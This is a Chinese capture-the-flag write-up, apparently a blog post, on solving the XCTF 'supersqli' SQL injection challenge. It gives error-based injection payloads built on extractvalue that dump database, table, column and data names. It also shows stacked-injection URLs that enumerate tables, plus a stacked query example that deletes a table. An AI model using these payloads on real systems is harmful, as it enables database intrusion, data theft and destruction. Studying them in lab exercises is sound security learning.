zoukankan      html  css  js  c++  java
  • sql报错注入+叠加注入+sql语句拼接

    XCTF题目:supersqli

    一打开页面尝试使用“ '  ”发现可以报错注入

    xpath语法错误

    利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。
    使用条件:mysql版本>5.1.5

    针对mysql数据库:

    查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
    爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
    爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
    爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

    接着使用报错注入获取数据库名称

    http://220.249.52.133:34053/index.php?inject=1' and extractvalue('~',concat(0x7e,database())) --+

    取得数据库名称:

    supersqli

    因为过滤了select,这里尝试使用其他方法。

    尝试使用叠加注入

    堆叠注入顾名思义是指多条SQL语句一起执行。一条SQL语句以;结束,我们可以在结束符后面继续构造下一条SQL语句,这样它们会一起执行。比如

    select * from users;DELETE FROM test

    获取表名:

    http://220.249.52.133:34053/index.php?inject=1' ;show tables from `supersqli` ;--+

     

    获取字段名

    http://220.249.52.133:34053/index.php?inject=1' ;show columns from `1919810931114514` ;--+
    

     发现一个flag字段,使用字符串拼接,配合预处理语句执行最后得到flag

     

    遇到一个坑:

    在这里的admin用了两个不同的符号框起来

    情况1:

    情况2:

     所以表示一个表的名字时要使用  ` 符号

  • 相关阅读:
    开始编写正式的iOS 程序(iOS编程指导)
    iOS开发,新手入门指导
    轻松上手正则表达式
    windows phone 7 基本导航
    HexColorPicker 让选色变得更简单[for Mac]
    使用python处理子域名爆破工具subdomainsbrute结果txt
    一些关于Linux入侵应急响应的碎碎念
    Angular2 环境的搭建
    angularjs 动态加载指令编译服务$compile
    函数前的!
  • 原文地址:https://www.cnblogs.com/luocodes/p/13820746.html
Copyright © 2011-2022 走看看